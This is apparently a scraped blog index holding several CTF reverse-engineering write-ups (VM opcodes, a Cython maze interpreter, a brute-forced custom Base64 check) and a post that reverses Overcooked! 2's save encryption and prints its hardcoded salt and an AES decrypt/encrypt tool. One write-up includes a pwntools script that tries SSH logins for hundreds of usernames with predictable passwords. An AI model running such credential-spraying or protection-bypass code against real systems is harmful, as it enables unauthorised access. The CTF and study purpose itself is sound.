对栈顶的两个值做异或操作,存储到其中较低的地址 0x05 比较栈顶两个值是否相等,如果相等则继续运行,如果不相等则退出 下面开始分析操作码,即 program 中的数据。\n导出 program 中的操作码并且略加整理(例如经过调试后知道栈中只保留一个字节,故 07E8h 只保留 0xE8;)后,操作码如下所示:\n100 66 00 6C 00 61 00 67 200 66 00 6C 00 61 00 67 300 66 00 6C 00 61 00 67 400 66 00 6C 00 61 00 67 500 66 00 6C 00 61 00 67 600 66 00 6C 00 61 00 67 700 66 00 6C 00 61 00 67 800 66 00 6C 00 61 00 67 900 66 00 6C 10 1101 E8 04 03 05 66 1202 01 E8 04 03 05 56 1302 01 E8 04 03 05 5D 1402 01 E8 04 03 05 44 1502 01 E8 04 03 05 4F 1602 01 E8 04 03 05 55 1702 01 E8 04 03 05 1F 1802 01 E8 04 03 05 5F 1902 01 E8 04 03 05 58 2002 01 E8 04 03 05 39 2102 01 E8 04 03 05 4E 2202 01 E8 04 03 05 4F 2302 01 E8 04 03 05 55 2402 01 E8 04 03 05 3E 2502 01 E8 04 03 05 44 2602 01 E8 04 03 05 5E 2702 01 E8 04 03 05 54 2802 01 E8 04 03 05 62 2902 01 E8 04 03 05 44 3002 01 E8 04 03 05 18 3102 01 E8 04 03 05 50 3202 01 E8 04 03 05 1A 3302 01 E8 04 03 05 57 3402 01 E8 04 03 05 44 3502 01 E8 04 03 05 58 3602 01 E8 04 03 05 50 3702 01 E8 04 03 05 1B 3802 01 E8 04 03 05 54 3902 01 E8 04 03 05 57 4002 01 E8 04 03 05 60 4102 01 E8 04 03 05 4C 4202 01 E8 04 03 05 4A 4302 01 E8 04 03 05 57 4402 01 E8 04 03 05 4D 4502 01 02 03 经过格式化的处理,可以大体看出程序分为两部分:\n第一部分存储入栈指令以及我们输入的数据(在此次调试中。我输入的是 'flagflagflagflagflagflagflagflagfl'),程序依次将我们输入的字符压入栈。在静态分析中,这一部分在未经初始化时全部由 0 填充。\n程序的第二部分对全部 34 个字符做了相同的操作并进行判定,使用代码表示就是 ((input + 0xE8) % 0x100) ^ 3 == dest。其中,input 是我们输入的字符,dest 是上面每一行的最后一个操作码,对 0x100 取模的原因依然是 stack 中仅能保留一个字节。上述过程在动态调试中可以非常清晰地展现出来。此外,除了第一个字符,程序在对后续每一个字符进行操作的时候都有一个栈顶指针向低地址移动的过程,即字符串是从后向前处理的,因此我们在恢复字符串的过程中也要倒序处理:\n1c = [0x66, 0x56, 0x5D, 0x44, 0x4F, 0x55, 0x1F, 0x5F, 0x58, 0x39, 0x4E, 0x4F, 0x55, 0x3E, 0x44, 0x5E, 0x54, 0x62, 0x44, 0x18, 0x50, 0x1A, 0x57, 0x44, 0x58, 0x50, 0x1B, 0x54, 0x57, 0x60, 0x4C, 0x4A, 0x57, 0x4D] 2for i in c[::-1]: 3 print(chr((i ^ 3) + 0x100 - 0xE8), end = \u0026#39;\u0026#39;) flag{lo0ks_l1k3_you_UndeRst4nd_vm}\nmaze 程序是用 Python 编写的,先拆包。反编译得到的 .pyc 文件:\n1from maze import run 2run() 程序的主要逻辑不在这一段 Python 代码里,而是在 maze.run() 方法中。而先前在 ELF 文件中拆出来的恰好有一个 maze.so,因此对这个动态链接库展开分析。\n先将它作为模块导入 Python 看一看里面有什么东西:\n1import sys 2sys.path.append(\u0026#39;./maze.so\u0026#39;) 3import maze 4help(maze) 根据这些可以得到\n1DATA 2 EqdU3uQNCi= [18, 17, 15, 0, 27, 31, 10, 19, 14, 21, 25, 22, 6, 3, 30, 8, 24, 5, 7, 4, 13, 29, 9, 26, 1, 2, 28, 16, 20, 32, 12, 23, 11] 3 UJ9mxXxeoS= \u0026#39;IyMgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgXl4gIyMgXl4gIyMKIyMgIyMgIyMgLi4gIyMgSVogIyMgIyMgIyMgIyMKIyMgJVIgLi4gJUQgIyMgJUQgLi4gLi4gJUwgIyMKIyMgPj4gIyMgLi4gIyMgRUEgKiogUFAgJVUgIyMKIyMgJVUgSUEgVEEgIyMgRUIgKiogUFAgJVUgIyMKIyMgJVUgSUIgVEIgIyMgRUMgKiogUFAgJVUgIyMKIyMgJVUgSUMgVEMgIyMgRUQgKiogUFAgJVUgIyMKIyMgJVUgSUQgVEQgIyMgRUUgKiogUFAgJVUgIyMKIyMgJVUgSUUgVEUgIyMgRUYgKiogUFAgJVUgIyMKIyMgJVUgSUYgVEYgIyMgJVIgKiogSVogJVUgIyMKIyMgJVUgSUcgJUwgIyMgIyMgIyMgIyMgIyMgIyMKIyMgIyMgIyMgIyMgIyMgIyMKClBQIC0+ICs9MQpNTSAtPiAtPTEKSVogLT4gPTAKRUEgLT4gSUYgPT0wIFRIRU4gJVIgRUxTRSAlRApFQiAtPiBJRiA9PTEgVEhFTiAlUiBFTFNFICVECkVDIC0+IElGID09MiBUSEVOICVSIEVMU0UgJUQKRUQgLT4gSUYgPT0zIFRIRU4gJVIgRUxTRSAlRApFRSAtPiBJRiA9PTQgVEhFTiAlUiBFTFNFICVECkVGIC0+IElGID09NSBUSEVOICVSIEVMU0UgJUQKVEEgLT4gSUYgKiogVEhFTiAlTCBFTFNFICVECklBIC0+ID03MgpUQiAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUIgLT4gPTczClRDIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJQyAtPiA9ODQKVEQgLT4gSUYgKiogVEhFTiAlTCBFTFNFICVECklEIC0+ID04MApURSAtPiBJRiAqKiBUSEVOICVMIEVMU0UgJUQKSUUgLT4gPTY3ClRGIC0+IElGICoqIFRIRU4gJUwgRUxTRSAlRApJRiAtPiA9ODQKSUcgLT4gPTcwCkxUIC0+IElGID09NiBUSEVOICVEIEVMU0UgJUwK\u0026#39; 4 c2VjcmV0= [7, 47, 60, 28, 39, 11, 23, 5, 49, 49, 26, 11, 63, 4, 9, 2, 25, 61, 36, 112, 25, 15, 62, 25, 3, 16, 102, 38, 14, 7, 37, 4, 40] 5 regexes= {\u0026#39;wall\u0026#39;: \u0026#39;##|``\u0026#39;, \u0026#39;path\u0026#39;: \u0026#39;\\\\.\\\\.\u0026#39;, \u0026#39;splitter\u0026#39;: \u0026#39;\u0026lt;\u0026gt;\u0026#39;, \u0026#39;pause\u0026#39;: \u0026#39;[0-9]{2}\u0026#39;, \u0026#39;start\u0026#39;: \u0026#39;\\\\^\\\\^\u0026#39;, \u0026#39;hole\u0026#39;: \u0026#39;\\\\(\\\\)\u0026#39;, \u0026#39;out\u0026#39;: \u0026#39;\u0026gt;\u0026gt;\u0026#39;, \u0026#39;in\u0026#39;: \u0026#39;\u0026lt;\u0026lt;\u0026#39;, \u0026#39;one-use\u0026#39;: \u0026#39;--\u0026#39;, \u0026#39;direction\u0026#39;: \u0026#39;%[LRUDNlrudn]\u0026#39;, \u0026#39;signal\u0026#39;: \u0026#39;(?\u0026lt;=\\\\*)[\\\\*A-Za-z0-9]\u0026#39;, \u0026#39;function\u0026#39;: \u0026#39;[A-Za-z][A-Za-z0-9]\u0026#39;} 在 IDA 中直接搜索 'run',可以得到 maze.run() 方法的伪代码。\n在这个函数里,发现调用了 _pyx_mstate_global_static.__pyx_n_s_c29sdmU 进行加密。'c29sdmU' 使用 Base64 解码是 solve。\n随后查找 c29sdmU。在 _pyx_pw_4maze_3c29sdmU() 函数中进行了加密操作。同时找到 maze.mazeLang 作为 maze 语言的解释器:\n在这道题中的 Maze,是一种编程语言:\n1##,##,## 2##,^^,## //Car Starts 3##,AA,## //Do AA to Car 4##,\u0026gt;\u0026gt;,## //Print Car 5##,(),## //Destroy Car 6##,##,## 7 8AA-\u0026gt; =\u0026#34;Hello World!\u0026#34; 而我们最开始 help() 中得到的 UJ9mxXxeoS,就是 Base64 编码后的 mazeLang。现在根据已知的信息写出一下脚本:\n1import sys 2sys.path.append(\u0026#39;./maze.so\u0026#39;) 3import maze 4import base64 5maze.aW5pdF9zZWNyZXQ() # 初始化 6flag = \u0026#39;\u0026#39; 7c = maze.TWF6ZUxhbmc(base64.b64decode(maze.UJ9mxXxeoS).decode()) # 解码 maze 代码 8for i in range(33): 9 flag += c.cnVuX3RpbGxfb3V0cHV0() ^ maze.c2VjcmV0[i] # 执行 maze 代码并且还原明文 10print(flag) flag{yOu_@re_m@sT3r_OF_mAZElaN6}\n孩子们,我回来了 程序使用了 Base64 编码,不过显然是换过表的。动调程序的时候程序会抛出异常,根本看不到换表的过程\n不过程序还是给我们留下了破绽。不管我们输入什么内容,程序都会输出我们输入内容的编码和正确的编码。\n既然只要编码相同原字符串就相同,那我们可以尝试单字节爆破。仅展示爆破最后一个字符的脚本(当然我们都知道最后一个字符是啥):\n1import subprocess 2 3known = \u0026#34;flag{s3e_y0u_4ga1in?you_did_1t!!\u0026#34; 4 5for i in range(32, 128): 6 flag = known + chr(i) 7 p = subprocess.Popen([\u0026#34;孩子们,我回来了.exe\u0026#34;], stdin = subprocess.PIPE, stdout = subprocess.PIPE, stderr = subprocess.PIPE) 8 p.stdin.write(flag.encode()) 9 p.stdin.close() 10 out = p.stdout.read() 11 if out[0:44] == out[-67:-23]: 12 print(flag) 前面字符爆破的方式差不多,只是由于经过 Base64 编码的文本原文和编码是不等长的,所以有时会出现多个字符都满足条件的情况,这时需要调整匹配字符串长度以及根据语义分析来缩小范围。\nflag{s3e_y0u_4ga1in?you_did_1t!!}\n","link":"https://jackgdn.github.io/post/2.19/","section":"post","tags":["WP","Reverse"],"title":"2.19 解题记录"},{"body":"友链的卡片不好看,我给删掉了。不需要友链。\n另外,所有的 nav-link 类也有悬停特效了:\n1.nav-link 2 position: relative 3 \u0026amp;:after 4 content: \u0026#39;\u0026#39; 5 position: absolute 6 left: 0 7 bottom: -5px 8 display: inline-block 9 height: 1px 10 background-color: #0077b8 11 width: 0 12 opacity: 0 13 transition: opacity 0.35s, width 0.35s 14 \u0026amp;:hover:after 15 opacity: 1 16 width: 100% Non-Stop - Hamilton (Original Broadway Cast Recording)\r","link":"https://jackgdn.github.io/post/log-2025-02-19/","section":"post","tags":["日志"],"title":"日志-2025-02-19"},{"body":"users \u0026amp; users_revenge 两道题可以用同一个脚本解。两道题区别就是题目 1 给出 200 个用户名,题目 2 给出 500 个用户名,密码为用户名的 MD5,其中有一个用户里有 flag,考虑使用 pwntools 连接。\n1from pwn import * 2import hashlib 3 4usrlst = [] 5pwdlst = [] 6flaglst = [] 7sususrlst = [] 8suspwdlst = [] 9excptlst = [] 10\u0026#39;\u0026#39;\u0026#39; 11file_name = 12given_host = 13given_port = 14\u0026#39;\u0026#39;\u0026#39; 15with open(file_name, \u0026#39;r\u0026#39;) as wordlist: 16 for line in wordlist: 17 username = line.rstrip() # 去除换行符 18 usrlst.append(username) 19 pwdlst.append(hashlib.md5(username.encode()).hexdigest()) 20 21for i in range(len(usrlst)): 22 try: 23 print(i) 24 shell = ssh(host = given_host, port = given_port, user = usrlst[i], password = pwdlst[i]) # 题目使用 SSH 连接 25 sh = shell.run(\u0026#39;ls -a\u0026#39;) # 不知道文件名与路径,先使用 ls -a 探探虚实。最后知道 flag.txt 确实是一个隐藏文件 26 flag = sh.recvall() 27 if len(flag) != 47: # 如果没有 flag,接收到默认文件名和路径名一共是 47 Bits,有 flag.txt 则会接收到 56 Bits 28 flaglst.append(flag) 29 sususrlst.append(usrlst[i]) 30 suspwdlst.append(pwdlst[i]) 31 shell.close() 32 except: 33 continue 34 excptlst.append(i) 35 36print(flaglst) 37print(sususrlst) 38print(suspwdlst) 39print(excptlst) 由于不知道存储 flag 文件的文件名以及路径,这一脚本只用于筛选可疑用户,找到可疑用户后再手动搜索 flag。不过好在每一道题中都只筛选出了一个可疑用户\n炒鸡常见的编码哇 IDA 打开程序,通过字符串找到程序的核心部分:\n1int sub_40160E() 2{ 3 int v0; // eax 4 int v1; // edx 5 int v2; // eax 6 char v4[9]; // [esp+17h] [ebp-21h] BYREF 7 unsigned int k; // [esp+20h] [ebp-18h] 8 int j; // [esp+24h] [ebp-14h] 9 int i; // [esp+28h] [ebp-10h] 10 int v8; // [esp+2Ch] [ebp-Ch] 11 12 sub_40C270(); 13 v8 = 0; 14 sub_4A3450(\u0026amp;dword_4B0960, \u0026#34;Please input Your flag to start Happy New Year!!\u0026#34;); 15 sub_46AFB0(sub_4A1540); 16 sub_4A4130(\u0026amp;dword_4B0780, Str); 17 dword_4F8924 = 8 * strlen(Str); 18 for ( i = 0; Str[i]; ++i ) 19 { 20 sub_4014BC(Str[i], v4); 21 for ( j = 0; j \u0026lt;= 7; ++j ) 22 { 23 v0 = v8++; 24 byte_4F8120[v0] = v4[j]; 25 } 26 } 27 for ( k = 0; k \u0026lt; dword_4F8924; k += 6 ) 28 { 29 sub_40150A(\u0026amp;byte_4F8120[k]); 30 v1 = sub_4015CA(\u0026amp;byte_4F8120[k]); 31 v2 = dword_4F8A40++; 32 byte_4F8940[v2] = byte_4AF020[v1]; 33 } 34 if ( !memcmp(byte_4F8940, \u0026amp;unk_4AF080, 0x80u) ) 35 sub_4A3450(\u0026amp;dword_4B0960, \u0026#34;Good Job!\u0026#34;); 36 else 37 sub_4A3450(\u0026amp;dword_4B0960, \u0026#34;Try Again!\u0026#34;); 38 sub_46AFB0(sub_4A1540); 39 return 0; 40} 下面是另外三个重要函数 sub_4014BC()、sub_40150A() 与 sub_4015CA() 的定义:\n1int __cdecl sub_4014BC(char a1, int a2) 2{ 3 int result; // eax 4 int i; // [esp+10h] [ebp-4h] 5 6 for ( i = 7; i \u0026gt;= 0; --i ) 7 *(7 - i + a2) = (a1 \u0026gt;\u0026gt; i) \u0026amp; 1; 8 result = a2 + 8; 9 *(a2 + 8) = 0; 10 return result; 11} 12 13int __cdecl sub_40150A(int a1) 14{ 15 int result; // eax 16 int i; // [esp+18h] [ebp-10h] 17 int v3; // [esp+18h] [ebp-10h] 18 int v4; // [esp+1Ch] [ebp-Ch] 19 20 v4 = 0; 21 for ( i = 0; i \u0026lt;= 255; i = v3 + 1 ) 22 { 23 v3 = (i + 1) % 256; 24 v4 = (v3 + v4 + 1) % 256; 25 result = sub_4A1658(v3 % 6 + a1, v4 % 6 + a1); 26 } 27 return result; 28} 29 30int __cdecl sub_4015CA(int a1) 31{ 32 int i; // [esp+4h] [ebp-Ch] 33 int v3; // [esp+8h] [ebp-8h] 34 int v4; // [esp+Ch] [ebp-4h] 35 36 v4 = 0; 37 v3 = 1; 38 for ( i = 5; i \u0026gt;= 0; --i ) 39 { 40 v4 += v3 * *(i + a1); 41 v3 *= 2; 42 } 43 return v4; 44} sub_4014BC() 将输入字符串的每一个字节转化为八位二进制数并存储进新的数组,在 sub_40160E() 中,输入字符串的二进制形式被存储在 byte_4F8120 中,这一转换过程在第一个 for 循环语句中完成。\nsub_4015CA() 将二进制数组六个一组进行编码,在 sub_40160E() 的第二个 for 循环语句中,程序完成了变种 Base64 重新编码的过程。编码表存储在 byte_4AF020 中。\nsub_40150A() 比较难以理解,但是大体能看出是在以六字节个为一组进行改变顺序的操作。经过调试可以知道该函数改变顺序的逻辑:\n调整前索引 调整后索引 0 0 1 2 2 4 3 5 4 3 5 1 具体调试的过程,就是在 byte_4F8120 被调整顺序前,将其修改为由 1 个 1 和 5 个 0 组成的六位二进制数,通过改变 1 的位置查看 sub_40150A() 打乱顺序的方式。\n编码后的字符串存储在 byte_4F8940 中。解题脚本如下:\n1from Crypto.Util.number import * 2 3cipher = [0xE2, 0xF7, 0xD3, 0xE2, 0xC8, 0xB4, 0xD8, 0xC5, 0xCF, 0xB4, 4 0xE7, 0xEE, 0xE1, 0xD9, 0xF1, 0xEF, 0xCB, 0xEB, 0xD9, 0xC9, 5 0xCE, 0xC5, 0xD9, 0xE5, 0xCC, 0xB7, 0xD1, 0xED, 0xE0, 0xB4, 6 0xF1, 0xEE, 0xE0, 0xE7, 0xD2, 0xF6, 0xCB, 0xF3, 0xC9, 0xF3, 7 0xD3, 0xD5, 0xEF] 8table = [0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7, 0xC8, 0xC9, 9 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD1, 0xD2, 0xD3, 10 0xD4, 0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xE0, 0xE1, 0xE2, 0xE3, 11 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 12 0xEE, 0xEF, 0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 13 0xF8, 0xF9, 0xAF, 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 14 0xB7, 0xB8, 0xAA, 0xAE] 15 16binaries = \u0026#39;\u0026#39; 17for i in cipher: 18 binaries += str(bin(table.index(i)))[2:].rjust(6, \u0026#39;0\u0026#39;) # 将每个编码转成 6 位二进制数 19blst = list(binaries) # 拼接成一个 258 位二进制数 20 21flag = [\u0026#39;N\u0026#39;] * 258 22for i in range(0, 258, 6): # 恢复正确顺序 23 flag[i] = blst[i] 24 flag[i + 1] = blst[i + 2] 25 flag[i + 2] = blst[i + 4] 26 flag[i + 3] = blst[i + 5] 27 flag[i + 4] = blst[i + 3] 28 flag[i + 5] = blst[i + 1] 29 30print(long_to_bytes(int(\u0026#39;\u0026#39;.join(flag)[:-2], 2)).decode()) # 舍弃最后补位的两个 0 31 32# output: NSSCTF{Y0u_4reThe_K1ng_0fBase64} ","link":"https://jackgdn.github.io/post/nss18/","section":"post","tags":["Reverse","Pwn","WP"],"title":"NSSCTF Round#18 WP"},{"body":"","link":"https://jackgdn.github.io/tags/pwn/","section":"tags","tags":null,"title":"Pwn"},{"body":"","link":"https://jackgdn.github.io/tags/c%23/","section":"tags","tags":null,"title":"C#"},{"body":"这两天玩 Overcooked! 2 ,有的关卡因为没有攒够星星玩不了。我花钱买了游戏却不让我往后玩,那我自己改存档吧!\nOvercooked! 2 存档位于 C:\\Users\\{username}\\AppData\\LocalLow\\Team17\\Overcooked2\\{key}\\ 文件夹下。username 是自己的用户名;key 是 Steam 账号的 17 位 SteamID,我的账号的 key 是 76561198849752742。\n不难看出 Overcooked! 2 的存档都是以 .save 作为后缀。诸多游戏厂商都会把自家游戏存档存为 .save 格式。不过这并不是一种通用格式,不同厂商间存储的方式还不一样,有些使用文本文档或者 .json 格式明文存储(例如 Insurgency),有些使用序列化方式存储(例如 Arma3)。Overcooked! 2 的存储方式比较高级:\n它加密了……\nOvercooked! 2 是使用 Unity 引擎开发的游戏,这件事你一打开游戏就能知道。那我不妨把这游戏逆掉。\ndnSpy,启动!\n这样一款游戏,里边出现的类可以说是相当之多了。不过我只需要找到加密和解密存档的代码,因此我选择搜索 \u0026quot;save\u0026quot; 关键词来查找代码。不知道什么原因,开发人员没有使用 Unity 的 Mono Security 来保护代码,这也方便了我逆向。最终我在 GlobalSave 类里找到了极其可疑的代码:\n相关加密解密代码如下:\n1private byte[] Obfuscate(byte[] deobfuscatedText, int size, int start = 0, string salt = \u0026#34;jjo+Ffqil5bdpo5VG82kLj8Ng1sK7L/rCqFTa39Zkom2/baqf5j9HMmsuCr0ipjYsPrsaNIOESWy7bDDGYWx1eA==\u0026#34;, string hashFunction = \u0026#34;SHA1\u0026#34;, int keySize = 256) 2{ 3\tif (deobfuscatedText == null || deobfuscatedText.Length == 0 || start + size \u0026gt; deobfuscatedText.Length) 4\t{ 5\treturn null; 6\t} 7\tbyte[] array = new byte[16]; 8\tSystem.Random random = new System.Random(); 9\trandom.NextBytes(array); 10\tbyte[] bytes = new PasswordDeriveBytes(this.GetUniqueId(), Encoding.ASCII.GetBytes(salt), hashFunction, 2).GetBytes(keySize / 8); 11\tRijndaelManaged rijndaelManaged = new RijndaelManaged(); 12\trijndaelManaged.Mode = CipherMode.CBC; 13\tbyte[] array2 = null; 14\ttry 15\t{ 16\tusing (ICryptoTransform cryptoTransform = rijndaelManaged.CreateEncryptor(bytes, array)) 17\t{ 18\tusing (MemoryStream memoryStream = new MemoryStream()) 19\t{ 20\tusing (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Write)) 21\t{ 22\tcryptoStream.Write(deobfuscatedText, start, size); 23\tcryptoStream.FlushFinalBlock(); 24\tarray2 = memoryStream.ToArray(); 25\tmemoryStream.Close(); 26\tcryptoStream.Close(); 27\t} 28\t} 29\t} 30\t} 31\tcatch (Exception ex) 32\t{ 33\tDebug.LogError(\u0026#34;GlobalSave Obfuscate exception=\u0026#34; + ex.ToString()); 34\treturn null; 35\t} 36\tfinally 37\t{ 38\trijndaelManaged.Clear(); 39\t} 40\tbyte[] array3 = new byte[16 + array2.Length]; 41\tArray.Copy(array, array3, 16); 42\tArray.Copy(array2, 0, array3, 16, array2.Length); 43\treturn array3; 44} 45// 加密部分 46 47private byte[] Deobfuscate(byte[] obfuscatedText, int size, int start = 0, string salt = \u0026#34;jjo+Ffqil5bdpo5VG82kLj8Ng1sK7L/rCqFTa39Zkom2/baqf5j9HMmsuCr0ipjYsPrsaNIOESWy7bDDGYWx1eA==\u0026#34;, string hashFunction = \u0026#34;SHA1\u0026#34;, int keySize = 256) 48{ 49\tif (obfuscatedText == null || obfuscatedText.Length == 0 || obfuscatedText.Length \u0026lt;= start + size || obfuscatedText.Length \u0026lt;= 16) 50\t{ 51\treturn null; 52\t} 53\tbyte[] array = new byte[16]; 54\tArray.Copy(obfuscatedText, start, array, 0, 16); 55\tbyte[] array2 = new byte[size - 16 - start]; 56\tArray.Copy(obfuscatedText, 16, array2, 0, array2.Length); 57\tbyte[] bytes = new PasswordDeriveBytes(this.GetUniqueId(), Encoding.ASCII.GetBytes(salt), hashFunction, 2).GetBytes(keySize / 8); 58\tRijndaelManaged rijndaelManaged = new RijndaelManaged(); 59\trijndaelManaged.Mode = CipherMode.CBC; 60\tbyte[] array3 = new byte[array2.Length]; 61\ttry 62\t{ 63\tusing (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(bytes, array)) 64\t{ 65\tusing (MemoryStream memoryStream = new MemoryStream(array2)) 66\t{ 67\tusing (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read)) 68\t{ 69\tcryptoStream.Read(array3, 0, array3.Length); 70\tmemoryStream.Close(); 71\tcryptoStream.Close(); 72\t} 73\t} 74\t} 75\t} 76\tcatch (Exception ex) 77\t{ 78\tDebug.LogError(\u0026#34;GlobalSave Deobfuscate exception=\u0026#34; + ex.ToString()); 79\treturn null; 80\t} 81\tfinally 82\t{ 83\trijndaelManaged.Clear(); 84\t} 85\treturn array3; 86} 87// 解密部分 88 89public byte[] ByteSave() 90{ 91\tstring text = this.ConvertDataToSave(); 92\tif (string.IsNullOrEmpty(text)) 93\t{ 94\treturn null; 95\t} 96\tbyte[] bytes = Encoding.UTF8.GetBytes(text); 97\tbyte[] array = this.Obfuscate(bytes, bytes.Length, 0, \u0026#34;jjo+Ffqil5bdpo5VG82kLj8Ng1sK7L/rCqFTa39Zkom2/baqf5j9HMmsuCr0ipjYsPrsaNIOESWy7bDDGYWx1eA==\u0026#34;, \u0026#34;SHA1\u0026#34;, 256); 98\tif (array == null) 99\t{ 100\treturn null; 101\t} 102\tbyte[] bytes2 = BitConverter.GetBytes(CRC32.Calculate(array)); 103\tbyte[] array2 = new byte[array.Length + bytes2.Length]; 104\tArray.Copy(array, array2, array.Length); 105\tArray.Copy(bytes2, 0, array2, array.Length, bytes2.Length); 106\treturn array2; 107} 108// 存储时进行校验 109 110public bool ByteLoad(byte[] _data) 111{ 112\tif (_data == null || (long)_data.Length \u0026lt;= 4L) 113\t{ 114\treturn false; 115\t} 116\tint size = _data.Length - 4; 117\tif (!CRC32.Validate(_data, (uint)size)) 118\t{ 119\treturn false; 120\t} 121\tbyte[] array = this.Deobfuscate(_data, size, 0, \u0026#34;jjo+Ffqil5bdpo5VG82kLj8Ng1sK7L/rCqFTa39Zkom2/baqf5j9HMmsuCr0ipjYsPrsaNIOESWy7bDDGYWx1eA==\u0026#34;, \u0026#34;SHA1\u0026#34;, 256); 122\tif (array == null) 123\t{ 124\treturn false; 125\t} 126\tstring @string = Encoding.UTF8.GetString(array); 127\treturn this.ConvertDataFromSave(@string); 128} 129// 读取时进行校验 对于加密函数,经过分析我得到,程序会使用我一开始提到的 key 与密码盐 \u0026quot;jjo+Ffqil5bdpo5VG82kLj8Ng1sK7L/rCqFTa39Zkom2/baqf5j9HMmsuCr0ipjYsPrsaNIOESWy7bDDGYWx1eA==\u0026quot; 使用 PasswordDeriveBytes() 类共同生成密钥,并且随机生成长度为 16 字节的初始化向量 IV。其中,在生成密钥时,程序采用 PBKDF1 算法与 SHA1 算法对密码迭代两次。随后程序依据已知数据,使用 CBC 模式对明文进行 AES 加密(Rijndael 算法)。由于初始化向量是随机生成的,程序将 CRC32 校验码以及初始化向量的 16 个字节写在了存档文件的最前端,方便解密时读取。后面写入被加密的存档文件。此外根据反编译出的 LitJson 命名空间推测明文存档是以 .json 格式读取的。\n程序解读毕。将上述代码复制粘贴后略加修改,即可得到用于加密解密存档的脚本了。修改过的脚本如下:\n1using System; 2using System.Diagnostics; 3using System.IO; 4using System.Net.Security; 5using System.Security.Cryptography; 6using System.Text; 7 8namespace overcooked2 9{ 10 public class CRC32 11 { 12 public const uint c_HashSize = 4u; 13 14 private const uint poly = 1491524015u; 15 16 private const uint seed = 3605721660u; 17 18 private static uint[] s_table; 19 20 private CRC32() 21 { 22 if (s_table == null) 23 { 24 MakeTable(); 25 } 26 } 27 28 protected void MakeTable() 29 { 30 s_table = new uint[256]; 31 for (uint num = 0u; num \u0026lt; 256; num++) 32 { 33 uint num2 = num; 34 for (uint num3 = 0u; num3 \u0026lt; 8; num3++) 35 { 36 num2 = (((num2 \u0026amp; 1) != 1) ? (num2 \u0026gt;\u0026gt; 1) : (num2 ^ 0x58E6D9AF)); 37 } 38 s_table[num] = num2; 39 } 40 } 41 42 public uint CalculateHash(byte[] _data, uint _start, uint _size) 43 { 44 uint num = 3605721660u; 45 for (uint num2 = _start; num2 \u0026lt; _start + _size; num2++) 46 { 47 num = ((num \u0026gt;\u0026gt; 8) ^ s_table[_data[num2] ^ (num \u0026amp; 0xFF)]); 48 } 49 return num; 50 } 51 52 public static void Append(ref byte[] _buffer) 53 { 54 new CRC32().AppendHash(ref _buffer); 55 } 56 57 public void AppendHash(ref byte[] _buffer) 58 { 59 AppendHash(ref _buffer, 0u, (uint)_buffer.Length); 60 } 61 62 public void AppendHash(ref byte[] _buffer, uint _start, uint _size) 63 { 64 AppendHash(ref _buffer, 0u, _size, CalculateHash(_buffer, _start, _size)); 65 } 66 67 public void AppendHash(ref byte[] _buffer, uint _start, uint _size, uint _hash) 68 { 69 byte[] bytes = BitConverter.GetBytes(_hash); 70 if (_buffer.Length \u0026lt; (int)(_start + _size + 4)) 71 { 72 byte[] new_buffer = new byte[_start + _size + 4]; 73 Array.Copy(_buffer, new_buffer, _buffer.Length); 74 _buffer = new_buffer; 75 } 76 int num2 = (int)_size; 77 for (int i = 0; i \u0026lt; bytes.Length; i++) 78 { 79 _buffer[i + num2] = bytes[i]; 80 } 81 } 82 } 83 84 class OC2 85 { 86 private static byte[] Deobfuscate(byte[] obfuscatedText, int size, string key, int start = 0, string salt = \u0026#34;jjo+Ffqil5bdpo5VG82kLj8Ng1sK7L/rCqFTa39Zkom2/baqf5j9HMmsuCr0ipjYsPrsaNIOESWy7bDDGYWx1eA==\u0026#34;, string hashFunction = \u0026#34;SHA1\u0026#34;, int keySize = 256) 87 { 88 if (obfuscatedText == null || obfuscatedText.Length == 0 || obfuscatedText.Length \u0026lt;= start + size || obfuscatedText.Length \u0026lt;= 16) 89 { 90 return null; 91 } 92 byte[] array = new byte[16]; 93 Array.Copy(obfuscatedText, start, array, 0, 16); 94 byte[] array2 = new byte[size - 16 - start]; 95 Array.Copy(obfuscatedText, 16, array2, 0, array2.Length); 96 byte[] bytes = new PasswordDeriveBytes(key, Encoding.ASCII.GetBytes(salt), hashFunction, 2).GetBytes(keySize / 8); 97 RijndaelManaged rijndaelManaged = new RijndaelManaged(); 98 rijndaelManaged.Mode = CipherMode.CBC; 99 byte[] array3 = new byte[array2.Length]; 100 try 101 { 102 using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(bytes, array)) 103 { 104 using (MemoryStream memoryStream = new MemoryStream(array2)) 105 { 106 using (CryptoStream cryptoStream = new CryptoStream(memoryStream, cryptoTransform, CryptoStreamMode.Read)) 107 { 108 cryptoStream.Read(array3, 0, array3.Length); 109 memoryStream.Close(); 110 cryptoStream.Close(); 111 } 112 } 113 } 114 } 115 catch (Exception ex) 116 { 117 return null; 118 } 119 finally 120 { 121 rijndaelManaged.Clear(); 122 } 123 return array3; 124 } 125 126 private static byte[] Obfuscate(byte[] deobfuscatedText, int size, string key, int start = 0, string salt = \u0026#34;jjo+Ffqil5bdpo5VG82kLj8Ng1sK7L/rCqFTa39Zkom2/baqf5j9HMmsuCr0ipjYsPrsaNIOESWy7bDDGYWx1eA==\u0026#34;, string hashFunction = \u0026#34;SHA1\u0026#34;, int keySize = 256) 127 { 128 if (deobfuscatedText == null || deobfuscatedText.Length == 0 || start + size \u0026gt; deobfuscatedText.Length) 129 { 130 return null; 131 } 132 byte[] array = new byte[16]; 133 System.Random random = new System.Random(); 134 random.NextBytes(array); 135 byte[] bytes = new PasswordDeriveBytes(key, Encoding.ASCII.GetBytes(salt), hashFunction, 2).GetBytes(keySize / 8); 136 RijndaelManaged rijndaelManaged = new RijndaelManaged(); 137 rijndaelManaged.Mode = CipherMode.CBC; 138 byte[] array2 = null; 139 try 140 { 141 using (ICryptoTransform 